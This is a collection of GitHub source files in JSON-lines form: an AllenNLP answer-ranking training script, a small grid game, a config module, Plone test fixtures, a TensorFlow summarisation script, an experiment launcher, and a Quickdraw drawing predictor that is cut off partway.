+{"seq_id":"29402677751","text":"\"\"\"\nWe will use Allennlp's pre-implemented version of \"A Decomposable Attention Model for Natural Language Inference\"\n`_by Parikh et al., 2016\n\nThis is an SNLI model which can be also used for our task.\n\"\"\"\nimport os\nimport re\nimport sys\n# Allennlp uses typing for everything. We will need to annotate the type of every variable\nfrom typing import Iterator, List, Dict\n\nimport torch\nimport torch.optim as optim\nimport numpy as np\n\nfrom allennlp.data import Instance\nfrom allennlp.data.fields import Field, TextField, LabelField, MetadataField, ListField\nfrom allennlp.common import Params\n# For every code that uses allennlp framework, we need to implement a dataset reader\n# Essentially we will create a class that inherits the base class given by Allennlp, \n# which will read the data and produce an Instance iterator\nfrom allennlp.data.dataset_readers import DatasetReader\n\n# useful if your data is present in an URL\nfrom allennlp.common.file_utils import cached_path\n\n# We need to use these to index the sentences into allennlp recognizable list of tokens\nfrom allennlp.data.token_indexers import TokenIndexer, SingleIdTokenIndexer\nfrom allennlp.data.tokenizers import Token, Tokenizer, WordTokenizer\n\n# Will need vocabulary to convert sentences to tokens\nfrom allennlp.data.vocabulary import Vocabulary\n\n# this I beleive is just a wrapper around the pytorch module Model\nfrom allennlp.models import Model\n# Importing the model that we want to use\nfrom allennlp.models import DecomposableAttention\nfrom allennlp.modules.feedforward import FeedForward\nfrom allennlp.modules.similarity_functions.dot_product import DotProductSimilarity\n\nfrom allennlp.modules.text_field_embedders import TextFieldEmbedder, BasicTextFieldEmbedder\nfrom allennlp.modules.token_embedders import Embedding\nfrom allennlp.nn.util import get_text_field_mask, masked_softmax, weighted_sum\n\n# Useful for tracking accuracy on training and validation dataset\nfrom allennlp.training.metrics import CategoricalAccuracy\n\nfrom allennlp.data.iterators import BucketIterator\nfrom allennlp.training.trainer import Trainer\nfrom allennlp.predictors.decomposable_attention import DecomposableAttentionPredictor\n\nfrom decomposable_attention_softmax_model import DecomposableAttentionSoftmax\n\nfrom pytorch_pretrained_bert.modeling import BertConfig, BertModel\nfrom allennlp.modules.token_embedders.bert_token_embedder import BertEmbedder, PretrainedBertEmbedder\n\nfrom allennlp.modules.token_embedders.elmo_token_embedder import ElmoTokenEmbedder\nfrom allennlp.data.token_indexers.elmo_indexer import ELMoTokenCharactersIndexer\n\nimport random\n\nimport argparse\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-e\", \"--elmo\", help=\"Flag to indicate if we want to use elmo embedding\", action=\"store_true\")\nargs = parser.parse_args()\n\nimport logging\nlogger = logging.getLogger(__name__) # pylint: disable=invalid-name\n\ntorch.manual_seed(1)\n\n# def get_sampled_responses_and_labels(responses_and_labels, batch_size):\n# \tcorrect_responses = [r_l for r_l in responses_and_labels if r_l[1] == \"1\"]\n# \tincorrect_responses = [r_l for r_l in responses_and_labels if r_l[1] == \"0\"]\n# \tsampled_incorrect_responses = random.sample(incorrect_responses, batch_size - len(correct_responses))\n# \tfinal_sample = current_responses\n# \tfinal_sample.extend(sampled_incorrect_responses)\n# \treturn [list(t) for t in zip(*final_sample)]\n\n# we want to ouptut Fields similar to the SNLI reader\nclass QuestionResponseSoftmaxReader(DatasetReader):\n\tdef __init__(self,\n\t\t\t\t tokenizer: Tokenizer = None,\n\t\t\t\t token_indexers: Dict[str, TokenIndexer] = None,\n\t\t\t\t lazy: bool = False,\n\t\t\t\t max_batch_size: int = 0) -> None:\n\t\tsuper().__init__(lazy)\n\t\tself._tokenizer = tokenizer or WordTokenizer()\n\t\tself._token_indexers = token_indexers or {'tokens': SingleIdTokenIndexer()}\n\t\tself._max_batch_size = max_batch_size\n\n\tdef update_max_batch_size(self, max_batch_size):\n\t\tself._max_batch_size = max_batch_size\n\n\tdef _read(self, file_path: str):\n\t\t# if `file_path` is a URL, redirect to the cache\n\t\tfile_path = cached_path(file_path)\n\n\t\twith open(file_path, 'r') as features_file:\n\t\t\tlogger.info(\"Reading Generated Responses and questions instances from features file: %s\", file_path)\n\t\t\tcurrent_qa = None\n\t\t\tcurrent_responses = list()\n\t\t\tcurrent_labels = list()\n\t\t\tcurrent_label_counts = 0\n\t\t\tfor i, line in enumerate(features_file):\n\t\t\t\t# TODO: remove this after debugging\n\t\t\t\t# if i==10000:\n\t\t\t\t# \tbreak\n\t\t\t\tline = line.strip()\n\t\t\t\trow = re.split('\\t|\\\\t', line)\n\n\t\t\t\tq = row[0].strip()\n\t\t\t\tq = q.lower()\n\t\t\t\ta = row[1].strip()\n\t\t\t\ta = a.lower()\n\t\t\t\tif current_qa != (q,a):\n\t\t\t\t\t# send the previous batch\n\t\t\t\t\tif len(current_responses) > 1:\n\t\t\t\t\t\tif current_label_counts > 0:\n\t\t\t\t\t\t\tif self._max_batch_size == 0:\n\t\t\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_responses, current_labels)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\t\t\tcurrent_positive_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"1\"]\n\t\t\t\t\t\t\t\t# re-initialize the iterator so that we can run on in twice\n\t\t\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\t\t\tcurrent_negative_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"0\"]\n\t\t\t\t\t\t\t\t# print(\"total responses\", len(current_responses), \"vs\", len(current_labels))\n\t\t\t\t\t\t\t\t# print(\"positive responses\", len(current_positive_responses))\n\t\t\t\t\t\t\t\t# print(\"negative responses\", len(current_negative_responses))\n\t\t\t\t\t\t\t\t# shuffle negative_responses in place\n\t\t\t\t\t\t\t\trandom.shuffle(current_negative_responses)\n\t\t\t\t\t\t\t\t# send all negative samples in batches with each having at least one positive response\n\t\t\t\t\t\t\t\tfirst_index = 0\n\t\t\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\t\t\t\t\t\t\t\twhile True:\n\t\t\t\t\t\t\t\t\tcurrent_sample = list()\n\t\t\t\t\t\t\t\t\tcurrent_sample.append(random.choice(current_positive_responses))\n\t\t\t\t\t\t\t\t\t# print(\"first index\", first_index)\n\t\t\t\t\t\t\t\t\t# print(\"last index\", last_index)\n\t\t\t\t\t\t\t\t\t# sys.stdout.flush()\n\t\t\t\t\t\t\t\t\tcurrent_sample.extend(current_negative_responses[first_index:last_index])\n\t\t\t\t\t\t\t\t\t# print(\"Current Sample size:\", len(current_sample), \" vs \", self._max_batch_size)\n\t\t\t\t\t\t\t\t\t# Get responses and labels list from current_sample\n\t\t\t\t\t\t\t\t\tcurrent_sample_responses, current_sample_labels = [list(t) for t in zip(*current_sample)]\n\t\t\t\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_sample_responses, current_sample_labels)\n\t\t\t\t\t\t\t\t\tif last_index == len(current_negative_responses):\n\t\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\t\t# update first and last index\n\t\t\t\t\t\t\t\t\tfirst_index = last_index\n\t\t\t\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\n\t\t\t\t\tcurrent_qa = (q,a)\n\t\t\t\t\tcurrent_responses = list()\n\t\t\t\t\tcurrent_labels = list()\n\t\t\t\t\tcurrent_label_counts = 0\n\t\t\t\tr = row[2].strip()\n\t\t\t\tr = r.lower()\n\t\t\t\trule = row[3].strip()\n\t\t\t\tcount = row[-1]\n\t\t\t\tif int(count) > 0:\n\t\t\t\t\tlabel = \"1\"\n\t\t\t\t\tcurrent_label_counts += 1\n\t\t\t\telse:\n\t\t\t\t\tlabel = \"0\"\n\t\t\t\tcurrent_responses.append(r)\n\t\t\t\tcurrent_labels.append(label)\n\n\t\t\t# yield the last batch\n\t\t\tif len(current_responses) > 1:\n\t\t\t\tif current_label_counts > 0:\n\t\t\t\t\tif self._max_batch_size == 0:\n\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_responses, current_labels)\n\t\t\t\t\telse:\n\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\tcurrent_positive_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"1\"]\n\t\t\t\t\t\t# re-initialize the iterator so that we can run on in twice\n\t\t\t\t\t\tcurrent_responses_and_labels = zip(current_responses, current_labels)\n\t\t\t\t\t\tcurrent_negative_responses = [r_l for r_l in current_responses_and_labels if r_l[1] == \"0\"]\n\t\t\t\t\t\t# print(\"total responses\", len(current_responses), \"vs\", len(current_labels))\n\t\t\t\t\t\t# print(\"positive responses\", len(current_positive_responses))\n\t\t\t\t\t\t# print(\"negative responses\", len(current_negative_responses))\n\t\t\t\t\t\t# shuffle negative_responses in place\n\t\t\t\t\t\trandom.shuffle(current_negative_responses)\n\t\t\t\t\t\t# send all negative samples in batches with each having at least one positive response\n\t\t\t\t\t\tfirst_index = 0\n\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\t\t\t\t\t\twhile True:\n\t\t\t\t\t\t\tcurrent_sample = list()\n\t\t\t\t\t\t\tcurrent_sample.append(random.choice(current_positive_responses))\n\t\t\t\t\t\t\t# print(\"first index\", first_index)\n\t\t\t\t\t\t\t# print(\"last index\", last_index)\n\t\t\t\t\t\t\t# sys.stdout.flush()\n\t\t\t\t\t\t\tcurrent_sample.extend(current_negative_responses[first_index:last_index])\n\t\t\t\t\t\t\t# print(\"Current Sample size:\", len(current_sample), \" vs \", self._max_batch_size)\n\t\t\t\t\t\t\t# Get responses and labels list from current_sample\n\t\t\t\t\t\t\tcurrent_sample_responses, current_sample_labels = [list(t) for t in zip(*current_sample)]\n\t\t\t\t\t\t\tyield self.text_to_instance(current_qa[0], current_sample_responses, current_sample_labels)\n\t\t\t\t\t\t\tif last_index == len(current_negative_responses):\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t# update first and last index\n\t\t\t\t\t\t\tfirst_index = last_index\n\t\t\t\t\t\t\tlast_index = min(len(current_negative_responses), first_index + self._max_batch_size - 1)\n\t\t\t\tcurrent_qa = None\n\t\t\t\tcurrent_responses = list()\n\t\t\t\tcurrent_labels = list()\n\t\n\tdef text_to_instance(self, # type: ignore\n\t\t\t\t\t\t premise: str,\n\t\t\t\t\t\t hypotheses: List[str],\n\t\t\t\t\t\t labels: List[str] = None) -> Instance:\n\t\t# pylint: disable=arguments-differ\n\t\tfields: Dict[str, Field] = {}\n\t\tpremise_tokens = self._tokenizer.tokenize(premise)\n\t\tfields['premise'] = TextField(premise_tokens, self._token_indexers)\n\t\tall_hypotheses_fields = list()\n\t\tfor hypothesis in hypotheses:\n\t\t\thypothesis_tokens = self._tokenizer.tokenize(hypothesis)\n\t\t\tall_hypotheses_fields.append(TextField(hypothesis_tokens, self._token_indexers))\n\t\tfields['hypotheses'] = ListField(all_hypotheses_fields)\n\t\tif labels:\n\t\t\tall_labels_fields = list()\n\t\t\tfor label in labels:\n\t\t\t\tall_labels_fields.append(LabelField(label))\n\t\t\tfields['labels'] = ListField(all_labels_fields)\n\n\t\tmetadata = {\"labels\": all_labels_fields}\n\t\tfields[\"metadata\"] = MetadataField(metadata)\n\t\treturn Instance(fields)\n\n\nDATA_FOLDER = \"train_data\"\nglove_embeddings_file = os.path.join(\"data\", \"glove\", \"glove.840B.300d.txt\")\n# model_save_filename = os.path.join(\"saved_softmax_models\", \"decomposable_attention_model_{}.th\")\n# vocab_save_filepath = os.path.join(\"saved_softmax_models\",\"vocabulary_{}\")\n# model_save_filename = os.path.join(\"saved_softmax_models\", \"decomposable_attention_glove_model_{}.th\")\n# vocab_save_filepath = os.path.join(\"saved_softmax_models\",\"vocabulary_glove_{}\")\n\nLOSS_TYPE = \"_nll\"\n# LOSS_TYPE = \"_mse\"\nNEGATIVE_PERCENTAGE = 10\n# EMBEDDING_TYPE = \"\"\n# EMBEDDING_TYPE = \"_glove\"\n# EMBEDDING_TYPE = \"_bert\"\n# EMBEDDING_TYPE = \"_elmo\"\n# EMBEDDING_TYPE = \"_elmo_retrained\"\n# EMBEDDING_TYPE = \"_elmo_retrained_2\"\n# MAX_BATCH_SIZE = 0\nMAX_BATCH_SIZE = 150 # for bert and elmo\n\nif args.elmo:\n\tEMBEDDING_TYPE = \"_elmo\"\nelse:\n\tEMBEDDING_TYPE = \"\"\n\ntoken_indexers = None\nif EMBEDDING_TYPE == \"_elmo\" or EMBEDDING_TYPE == \"_elmo_retrained\" or EMBEDDING_TYPE == \"_elmo_retrained_2\":\n\ttoken_indexers = {\"tokens\": ELMoTokenCharactersIndexer()}\n\nreader = QuestionResponseSoftmaxReader(token_indexers=token_indexers, max_batch_size=MAX_BATCH_SIZE)\nmodel_save_filename = os.path.join(\"saved_softmax_models\", \"decomposable_attention{}{}_model_{}.th\")\nvocab_save_filepath = os.path.join(\"saved_softmax_models\",\"vocabulary{}{}_{}\")\n# for NEGATIVE_PERCENTAGE in [1,5,10,20,50,100]:\nfor NEGATIVE_PERCENTAGE in [100]:\n\tprint(\"Training with embedding type\", EMBEDDING_TYPE, \"embedddings\")\n\tprint(\"Training with loss type\", LOSS_TYPE, \"loss\")\n\tprint(\"Training for NEGATIVE_PERCENTAGE:\", NEGATIVE_PERCENTAGE)\n\ttrain_file = os.path.join(DATA_FOLDER, \"train_count2_squad_final_train_data_features_{}_negative.tsv\".format(NEGATIVE_PERCENTAGE))\n\tval_file = os.path.join(DATA_FOLDER, \"val_count1_squad_final_train_data_features.tsv\")\n\ttest_file = os.path.join(DATA_FOLDER, \"test_count1_squad_final_train_data_features.tsv\")\n\n\ttrain_dataset = reader.read(train_file)\n\tval_dataset = reader.read(val_file)\n\t# test_dataset = reader.read(test_file)\n\tvocab = Vocabulary.from_instances(train_dataset + val_dataset)\n\n\tEMBEDDING_DIM = 300\n\tPROJECT_DIM = 200\n\tDROPOUT = 0.2\n\tNUM_LAYERS = 2\n\tif EMBEDDING_TYPE == \"\":\n\t\ttoken_embedding = Embedding(num_embeddings=vocab.get_vocab_size('tokens'),\n\t\t\t\t\t\t\t\t\tembedding_dim=EMBEDDING_DIM, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_glove\":\n\t\ttoken_embedding = Embedding.from_params(\n\t\t\t\t\t\t\tvocab=vocab,\n\t\t\t\t\t\t\tparams=Params({'pretrained_file':glove_embeddings_file,\n\t\t\t\t\t\t\t\t\t\t 'embedding_dim' : EMBEDDING_DIM,\n\t\t\t\t\t\t\t\t\t\t 'projection_dim': PROJECT_DIM,\n\t\t\t\t\t\t\t\t\t\t 'trainable': False}))\n\telif EMBEDDING_TYPE == \"_elmo\":\n\t\t# options_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_options.json\"\n\t\t# weights_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x2048_256_2048cnn_1xhighway/elmo_2x2048_256_2048cnn_1xhighway_weights.hdf5\"\n\t\toptions_file = os.path.join(\"data\", \"elmo\", \"elmo_2x2048_256_2048cnn_1xhighway_options.json\")\n\t\tweights_file = os.path.join(\"data\", \"elmo\", \"elmo_2x2048_256_2048cnn_1xhighway_weights.hdf5\")\n\t\t# NOTE: using Small size as medium size gave CUDA out of memory error\n\t\t# options_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_options.json\"\n\t\t# weights_file = \"https://s3-us-west-2.amazonaws.com/allennlp/models/elmo/2x1024_128_2048cnn_1xhighway/elmo_2x1024_128_2048cnn_1xhighway_weights.hdf5\"\n\t\t# options_file = os.path.join(\"data\", \"elmo\", \"elmo_2x1024_128_2048cnn_1xhighway_options.json\")\n\t\t# weights_file = os.path.join(\"data\", \"elmo\", \"elmo_2x1024_128_2048cnn_1xhighway_weights.hdf5\")\n\t\ttoken_embedding = ElmoTokenEmbedder(options_file, weights_file, dropout=DROPOUT, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_elmo_retrained\":\n\t\toptions_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"options.json\")\n\t\tweights_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"weights.hdf5\")\n\t\ttoken_embedding = ElmoTokenEmbedder(options_file, weights_file, dropout=DROPOUT, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_elmo_retrained_2\":\n\t\toptions_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"options_2.json\")\n\t\tweights_file = os.path.join(\"data\", \"bilm-tf\", \"elmo_retrained\", \"weights_2.hdf5\")\n\t\ttoken_embedding = ElmoTokenEmbedder(options_file, weights_file, dropout=DROPOUT, projection_dim=PROJECT_DIM)\n\telif EMBEDDING_TYPE == \"_bert\":\n\t\tprint(\"Loading bert model\")\n\t\tmodel = BertModel.from_pretrained('bert-base-uncased')\n\t\ttoken_embedding = BertEmbedder(model)\n\t\tPROJECT_DIM = 768\n\telse:\n\t\tprint(\"Error: Some weird Embedding type\", EMBEDDING_TYPE)\n\t\texit()\n\tword_embeddings = BasicTextFieldEmbedder({\"tokens\": token_embedding})\n\tHIDDEN_DIM = 200\n\tparams = Params({ \n\t\t\t 'input_dim': PROJECT_DIM,\n\t\t\t 'hidden_dims': HIDDEN_DIM,\n\t\t\t 'activations': 'relu',\n\t\t\t 'num_layers': NUM_LAYERS,\n\t\t\t 'dropout': DROPOUT\n\t\t\t })\n\tattend_feedforward = FeedForward.from_params(params)\n\tsimilarity_function = DotProductSimilarity()\n\tparams = Params({ \n\t\t\t 'input_dim': 2*PROJECT_DIM,\n\t\t\t 'hidden_dims': HIDDEN_DIM,\n\t\t\t 'activations': 'relu',\n\t\t\t 'num_layers': NUM_LAYERS,\n\t\t\t 'dropout': DROPOUT\n\t\t\t })\n\tcompare_feedforward = FeedForward.from_params(params)\n\tparams = Params({ \n\t\t\t 'input_dim': 2*HIDDEN_DIM,\n\t\t\t 'hidden_dims': 1,\n\t\t\t 'activations': 'linear',\n\t\t\t 'num_layers': 1\n\t\t\t })\n\taggregate_feedforward = FeedForward.from_params(params)\n\tmodel = DecomposableAttentionSoftmax(vocab, word_embeddings, attend_feedforward, similarity_function, compare_feedforward, aggregate_feedforward, loss_type=LOSS_TYPE)\n\tif torch.cuda.is_available():\n\t\t# export CUDA_VISIBLE_DEVICES=3\n\t\tcuda_device = 0\n\t\tmodel = model.cuda(cuda_device)\n\telse:\n\t\tcuda_device = -1\n\n\tBATCH_SIZE = 1\n\n\toptimizer = optim.Adagrad(model.parameters(), lr=0.05, initial_accumulator_value=0.1)\n\titerator = BucketIterator(batch_size=BATCH_SIZE, padding_noise=0.0, sorting_keys=[[\"premise\", \"num_tokens\"]])\n\t# Iterator must make sure that the instances are indexed with vocabulary\n\titerator.index_with(vocab)\n\n\ttrainer = Trainer(model=model,\n\t\t\t\t\t optimizer=optimizer,\n\t\t\t\t\t iterator=iterator,\n\t\t\t\t\t train_dataset=train_dataset,\n\t\t\t\t\t validation_dataset=val_dataset,\n\t\t\t\t\t patience=10,\n\t\t\t\t\t num_epochs=30,\n\t\t\t\t\t cuda_device=cuda_device)\n\n\ttrainer.train()\n\t# Save model\n\twith open(model_save_filename.format(LOSS_TYPE, EMBEDDING_TYPE, NEGATIVE_PERCENTAGE), 'wb') as f:\n\t\ttorch.save(model.state_dict(), f)\n\t# Save vocabulary\n\tvocab.save_to_files(vocab_save_filepath.format(LOSS_TYPE, EMBEDDING_TYPE, NEGATIVE_PERCENTAGE))\n\n\n\n","repo_name":"abaheti95/QADialogSystem","sub_path":"RuleBasedQuestionsToAnswer/decomposable_attention_model_softmax_training.py","file_name":"decomposable_attention_model_softmax_training.py","file_ext":"py","file_size_in_byte":16936,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"53"} +{"seq_id":"7727795722","text":"from random import randint\r\nrow1 = [\"⬜️\",\"⬜️\",\"⬜️\"]\r\nrow2 = [\"⬜️\",\"⬜️\",\"⬜️\"]\r\nrow3 = [\"⬜️\",\"⬜️\",\"⬜️\"]\r\nmap = [row1, row2, row3]\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\nlist=[]\r\nposition1 = input(\"Where do you want to put the treasure? \")\r\nlist.append(position1)\r\nvertical1=int(position1[1])-1\r\nhorizontal1=int(position1[0])-1\r\nmap[vertical1][horizontal1]=\"❌️\"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\ncomputer_number_vertical1=randint(0,2)\r\ncomputer_number_horizontal1=randint(0,2)\r\nwhile computer_number_vertical1==vertical1 and computer_number_horizontal1==horizontal1:\r\n computer_number_vertical1=randint(0,2)\r\n computer_number_horizontal1=randint(0,2)\r\nposition3=str(computer_number_horizontal1+1)+str(computer_number_vertical1+1)\r\nlist.append(position3)\r\n# print(list)\r\n# print(f\"{row1}\\n{row2}\\n{row3}\")\r\nmap[computer_number_vertical1][computer_number_horizontal1]=\"🔴 \"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\nposition2 = input(\"Where do you want to put the treasure again? \")\r\nlist.append(position2)\r\nvertical2=int(position2[1])-1\r\nhorizontal2=int(position2[0])-1\r\nmap[vertical2][horizontal2]=\"❌️\"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\ncomputer_number_vertical2=randint(0,2)\r\ncomputer_number_horizontal2=randint(0,2)\r\nposition4=str(computer_number_horizontal2+1)+str(computer_number_vertical2+1)\r\nwhile position4 in list:\r\n computer_number_vertical2=randint(0,2)\r\n computer_number_horizontal2=randint(0,2)\r\nmap[computer_number_vertical2][computer_number_horizontal2]=\"🔴 \"\r\nprint(f\"{row1}\\n{row2}\\n{row3}\")\r\nposition5 = input(\"Where do you want to put the treasure again? \")\r\nvertical5=int(position5[1])-1\r\nhorizontal5=int(position5[0])-1\r\n\r\nif vertical5==vertical1==vertical2 or horizontal5==horizontal2==horizontal1:\r\n map[vertical5][horizontal5] = \"❌️\"\r\n print(f\"{row1}\\n{row2}\\n{row3}\")\r\n print(\"you win)\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"anassajaanan/Python-Projects","sub_path":"X _O GAME.py","file_name":"X _O GAME.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"33881110839","text":"#####\n# General site config items\n#####\nimport os\n\n#####\n# External services\n#####\nFACEBOOK_API_TOKEN=os.environ['FACEBOOK_API_TOKEN']\nMEETUP_API_TOKEN=os.environ['MEETUP_API_TOKEN']\nMEETUP_MEMBER_ID=os.environ['MEETUP_MEMBER_ID']\nSENDGRID_TOKEN=os.environ['SENDGRID_TOKEN']\nSENDGRID_FROM=os.environ['SENDGRID_FROM']\n#####\n# External services\n#####\n","repo_name":"ModernAlchemists/globaltechcommunities","sub_path":"gtc/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"6963564033","text":"# -*- coding: utf-8 -*-\nfrom plone.app.robotframework.testing import REMOTE_LIBRARY_BUNDLE_FIXTURE\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import FunctionalTesting\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import PloneSandboxLayer\nfrom plone.testing import z2\nfrom plone import api\n\nimport collective.printrss\n\n\nclass CollectivePrintrssLayer(PloneSandboxLayer):\n\n defaultBases = (PLONE_FIXTURE,)\n\n def setUpZope(self, app, configurationContext):\n self.loadZCML(package=collective.printrss)\n\n def setUpPloneSite(self, portal):\n applyProfile(portal, 'collective.printrss:default')\n api.user.create(email='test@imio.be', username='test')\n api.user.grant_roles(username='test', roles=['Site Administrator'])\n\nCOLLECTIVE_PRINTRSS_FIXTURE = CollectivePrintrssLayer()\n\n\nCOLLECTIVE_PRINTRSS_INTEGRATION_TESTING = IntegrationTesting(\n bases=(COLLECTIVE_PRINTRSS_FIXTURE,),\n name='CollectivePrintrssLayer:IntegrationTesting'\n)\n\n\nCOLLECTIVE_PRINTRSS_FUNCTIONAL_TESTING = FunctionalTesting(\n bases=(COLLECTIVE_PRINTRSS_FIXTURE,),\n name='CollectivePrintrssLayer:FunctionalTesting'\n)\n\n\nCOLLECTIVE_PRINTRSS_ACCEPTANCE_TESTING = FunctionalTesting(\n bases=(\n COLLECTIVE_PRINTRSS_FIXTURE,\n REMOTE_LIBRARY_BUNDLE_FIXTURE,\n z2.ZSERVER_FIXTURE\n ),\n name='CollectivePrintrssLayer:AcceptanceTesting'\n)\n","repo_name":"IMIO/collective.printrss","sub_path":"src/collective/printrss/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"9523615409","text":"import tensorflow as tf\nimport os\nfrom model import Model\nfrom util import InputHelper\n\ntf.flags.DEFINE_string('data_dir', 'data', 'data directory')\ntf.flags.DEFINE_string('train_file', 'train', 'train_file')\ntf.flags.DEFINE_string('test_file', 'test', 'test_file')\ntf.flags.DEFINE_string('model_dir', 'model', 'model directory')\ntf.flags.DEFINE_string('log_dir', 'log', 'log directory')\ntf.flags.DEFINE_string('save_dir', 'save', 'model save directory')\ntf.flags.DEFINE_string('ckpt_dir', 'checkpoint', 'checkpoint save directory')\ntf.flags.DEFINE_integer('embedding_dim', 300, 'word embedding dim')\ntf.flags.DEFINE_integer('hidden_dim', 128, 'hidden_dim default:')\ntf.flags.DEFINE_integer('num_layers', 1, 'num_layers default:2')\ntf.flags.DEFINE_integer('beam_width', 10, 'beam_width')\ntf.flags.DEFINE_float('dropout', 0.5, 'Dropout keep probability (default : 0.5)')\ntf.flags.DEFINE_float('lr', 0.001, 'learning rate (default : 0.001)')\ntf.flags.DEFINE_integer('batch_size', 64, 'Batch Size (default : 32)')\ntf.flags.DEFINE_integer('num_epochs', 10, 'num_epochs (default : 32)')\ntf.flags.DEFINE_integer('clip_grad', 5, 'clip_grad')\nFLAGS = tf.flags.FLAGS\nFLAGS.flag_values_dict()\n\n# 文件测试\nplay_helper = InputHelper(FLAGS.data_dir, FLAGS.test_file, FLAGS.batch_size, toy=True)\nvocab_size = play_helper.vocab_size\nword2id = play_helper.word2id\nid2word = dict(zip(word2id.values(), word2id.keys()))\nmodel = Model(FLAGS.hidden_dim, FLAGS.num_layers, vocab_size, FLAGS.embedding_dim, FLAGS.beam_width, forward_only=True)\nsaver = tf.train.Saver(tf.global_variables())\nwith tf.Session() as sess:\n ckpt = tf.train.latest_checkpoint(os.path.join('model', '1556093025', 'checkpoint'))\n saver.restore(sess, ckpt)\n batches = play_helper.batch_yield(shuffle=False)\n for step, (sents, keys) in enumerate(batches):\n feed = model.create_feed_dict(sents, keys, word2id, None, 1)\n prediction = sess.run(model.prediction, feed_dict=feed)\n prediction_output = [[id2word[y] for y in x] for x in prediction[:, 0, :]]\n with open(\"result.txt\", \"a\",encoding='utf-8') as f:\n for line in prediction_output:\n summary = list()\n for word in line:\n if word == \"\":\n break\n # if word not in summary:\n summary.append(word)\n print(\" \".join(summary), file=f)","repo_name":"gaoming95/Sohu","sub_path":"SohuSummary/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"53"} +{"seq_id":"5857333816","text":"\"\"\"Run an experiment on the early exit factor\"\"\"\nimport sys\nfrom common import run_training, DEFAULT\n\nif len(sys.argv) < 2:\n print(\"Please specify the fraction over which exploration should decay\")\n sys.exit(1)\n\nARGS = DEFAULT\nARGS[\"experiment_name\"] = f\"exploration_fraction_{sys.argv[1]}\"\nARGS[\"exploration_fraction\"] = float(sys.argv[1])\nARGS[\"learning_starts\"] = (\n ARGS[\"learnsteps\"] * ARGS[\"train_freq\"] * float(sys.argv[1]) * 0.2\n)\nrun_training(**ARGS)\n","repo_name":"timokau/wsn-embedding-rl","sub_path":"experiments/exploration_fraction.py","file_name":"exploration_fraction.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"18023983131","text":"import os\n\nimport chainer\nimport chainer.functions as F\nimport numpy as np\nfrom chainer.serializers import load_npz\nfrom rdp import rdp\n\nfrom predictor import Model as QuickdrawPredictor\n\nclasses_file = 'training.json'\nmodel_file = 'model.npz'\n\n\ndef _init_classes_file():\n filename = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), classes_file) + \".classes\"\n lines = [line.rstrip() for line in open(filename, 'r').readlines()]\n return len(lines), lines\n\n\n_num_classes, _class_labels = _init_classes_file()\n\n_predictor = QuickdrawPredictor(_num_classes)\n_model_file_path = os.path.join(os.path.dirname(\n os.path.realpath(__file__)), model_file)\nload_npz(_model_file_path, _predictor)\n\n\ndef _process_inks_step1(inks):\n drawing = inks[\"drawing\"]\n processed_stroke = []\n\n for c in drawing:\n stroke_reshape = np.array(c).T\n rdp_stroke = rdp(stroke_reshape, epsilon=2)\n processed_stroke.append(rdp_stroke.T)\n\n return processed_stroke\n\n\ndef _process_inks_step2(inks):\n \"\"\"Parse an ndjson line and return ink (as np array) and classname.\"\"\"\n stroke_lengths = [len(stroke[0]) for stroke in inks]\n total_points = sum(stroke_lengths)\n np_ink = np.zeros((total_points, 3), dtype=np.float32)\n current_t = 0\n for stroke in inks:\n for i in [0, 1]:\n np_ink[current_t:(current_t + 